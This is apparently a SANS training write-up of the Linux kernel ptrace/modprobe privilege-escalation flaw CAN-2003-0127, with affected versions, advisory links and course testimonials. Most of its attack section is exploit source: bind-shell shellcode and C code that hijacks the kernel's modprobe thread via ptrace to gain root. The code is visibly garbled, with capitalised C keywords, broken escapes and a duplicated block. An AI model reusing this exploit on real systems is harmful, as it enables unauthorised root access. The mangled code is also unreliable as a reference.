| Name 1 | CAN-2003-0127 |
| URL | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127 |
| Name 2 | Linux Kernel Privileged Process Hijacking Vulnerability |
| Reference | BID 7112 |
| URL | http://www.securityfocus.com/bid/7112 |
| Parameter | Classification | Description |
| Class | Design error | Serious flaw exists in the function as it was not designed to handle certain conditions |
| Type | Local | The attacker needs to have some privileges o the system to exploit it |
| Functionality | Escalation of privileges | The attacker can escalate his privileges on the affected system |
| Affected systems |
|
Linux kernel 2.2 Linux kernel 2.2.1 Linux kernel 2.2.2 Linux kernel 2.2.3 Linux kernel 2.2.4 Linux kernel 2.2.5 Linux kernel 2.2.6 Linux kernel 2.2.7 Linux kernel 2.2.8 Linux kernel 2.2.9 Linux kernel 2.2.10 Linux kernel 2.2.11 Linux kernel 2.2.12 Linux kernel 2.2.13 Linux kernel 2.2.14 Linux kernel 2.2.15 Linux kernel 2.2.16 Linux kernel 2.2.17 Linux kernel 2.2.18 Linux kernel 2.2.1 Linux kernel 2.2.20 Linux kernel 2.2.219 Linux kernel 2.2.22 Linux kernel 2.2.23 Linux kernel 2.2.24 Linux kernel 2.4 Linux kernel 2.4.1 Linux kernel 2.4.2 Linux kernel 2.4.3 Linux kernel 2.4.4 Linux kernel 2.4.5 Linux kernel 2.4.6 Linux kernel 2.4.7 Linux kernel 2.4.8 Linux kernel 2.4.9 Linux kernel 2.4.10 Linux kernel 2.4.11 Linux kernel 2.4.12 Linux kernel 2.4.13 Linux kernel 2.4.14 Linux kernel 2.4.15 Linux kernel 2.4.16 Linux kernel 2.4.17 Linux kernel 2.4.18 Linux kernel 2.4.19 Linux kernel 2.4.20 Linux kernel 2.4.21 pre 1 |
| 2.2.1 Affected Platforms |
|
Cobalt CacheRaQ 4 Cobalt Qube 3 Cobalt RaQ 4 Cobalt RaQ 550 Cobalt RaQ XTR Conectiva Linux 6.0 Conectiva Linux 7.0 Conectiva Linux 8.0 Debian Linux 3.0 EnGarde Secure Linux Community Edition EnGarde Secure Linux Professional Edition Gentoo Linux Any version Linux Any version Mandrake Linux 7.2 Mandrake Linux 8.1 Mandrake Linux 8.2 Mandrake Linux 9.0 Mandrake Linux Corporate Server 2.1 Mandrake Single Network Firewall 7.2 Red Hat Linux 7.1 Red Hat Linux 7.2 Red Hat Linux 7.3 Red Hat Linux 7.x Red Hat Linux 8.0 Red Hat Linux 9.0 SuSE Linux 7.1 SuSE Linux 7.3 SuSE Linux 8.0 SuSE Linux 8.1 SuSE Linux Connectivity Server Any version SuSE Linux Database Server Any version SuSE Linux Enterprise Server 7 SuSE Linux Enterprise Server 8 SuSE Linux Firewall Any version SuSE Linux Office Server Any version SuSE eMail Server 3.1 SuSE eMail Server III Any version Sun Cobalt Control Station (SCCS) Any version Sun Linux 5.0 Trustix Secure Linux 1.01 Trustix Secure Linux 1.1 Trustix Secure Linux 1.2 Trustix Secure Linux 1.5 |
| Author's homepage (Snooq) | http://www.angelfire.com/linux/snooq/ |
| Exploit URLs | |
| Bugtraq reference | http://www.securityfocus.com/bid/7112/info/ |
| ISS Xforce Advisory | http://www.iss.net/security_center/static/11553.php |
| Red Hat Security Advisory RHSA-2003:098-00 | https://rhn.redhat.com/errata/RHSA-2003-098.html |
| Variants of the exploit | http://www.securityfocus.com/bid/7112/exploit/ |
| Patch information (general) | http://www.uwsg.iu.edu/hypermail/linux/kernel/0303.2/0226.html |
#include
|
Char shellcode[ ]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40"
"\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89"
"\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02"
"\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec"
"\xec\x31\xc0\x50\x66\xb8\x61\x2c\xc1\xe0\x10\xb0\x02\x50\x89\xe6"
"\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83"
"\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04"
"\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05"
"\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74"
"\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd"
"\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31"
"\xc0\x50 x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\\xeb\x13\ xe8\xe8\xff\xff\xff/bin/sh";
|
Main(int argc, char *argv[ ] ) {
int i, error;
pid_t pid;
struct user_regs_struct regs; /* Registers Structure */
parent=getpid();
switch (pid=fork()) {
|
Default: /* Parent's thread -- The vulnerable call */
signal(SIGALRM,sigalrm);
alarm(10);
socket(AF_SECURITY,SOCK_STREAM,1);
break;
}
exit(0);
|
Case -1:
perror("Can't fork(): ");
break;
|
Child=getpid();
k_child=child+1; /* Kernel child's PID... Hopefully.. */
fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child);
fprintf(stderr, "-> Attaching to %d...", k_child);
|
While ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
fprintf(stderr, ".");
}
if (error==-1) {
fprintf(stderr,"-> Unable to attach to %d.\n",k_child);
exit(0);
}
fprintf(stderr, "\n-> Got the thread!!\n");
|
While ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
fprintf(stderr, ".");
}
if (error==-1) {
fprintf(stderr,"-> Unable to attach to %d.\n",k_child);
exit(0);
}
fprintf(stderr, "\n-> Got the thread!!\n");
/*
Waiting for the first SIGCHLD, which signals the end of the attaching action.
*/
while(sigc<1);
if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) {
fprintf(stderr,"-> Unable to setup syscall trace.\n");
exit(0);
|
For (i=0; i<=SIZE; i+=4) {
if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {}
|
if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) {
perror("-> Unable to detach from modprobe thread: ");
}
fprintf(stderr, "-> Detached from modprobe thread.\n");
fprintf(stderr, "-> Committing suicide.....\n");
if (kill(parent,9)==-1) { /* This is really ugly..... */
perror("-> We survived??!!?? ");
}
/*
We should be dead by now.
*/
exit(0);
break;
|
Apr 15 15:25:03 localhost modprobe: modprobe: Can't locate module net-pf-14
Apr 15 15:25:12 localhost kernel: request_module[net-pf-14]: waitpid(4778,...) failed, errno 512
|
|
|
504 was a great course to better enhance my understanding of attack methods and how to better defend my systems
-Dustin Odsa, Indiana University
A significant amount of information but with the information so well documented in the books, this will become a valuable reference tool for me in the future
-Rick Funaro, KAPL, Inc
The perfect balance of theory and hands on experience.
-James d. Perry II, University of Tennessee
Valuable information to take back to work with me, as well as hands-on testing examples.
-Carol Jones, Office of Court Administration
It offers a strategic & practical approach to auditing which is not only informative, but inspiring... truly enabling.
-Steve Yuhas, TESSCO Technologies
Attending a SANS conference provides attendees with a great opportunity to learn from and share with world class IS Security professionals at a reasonable cost.
-Theresa Wahl, USAF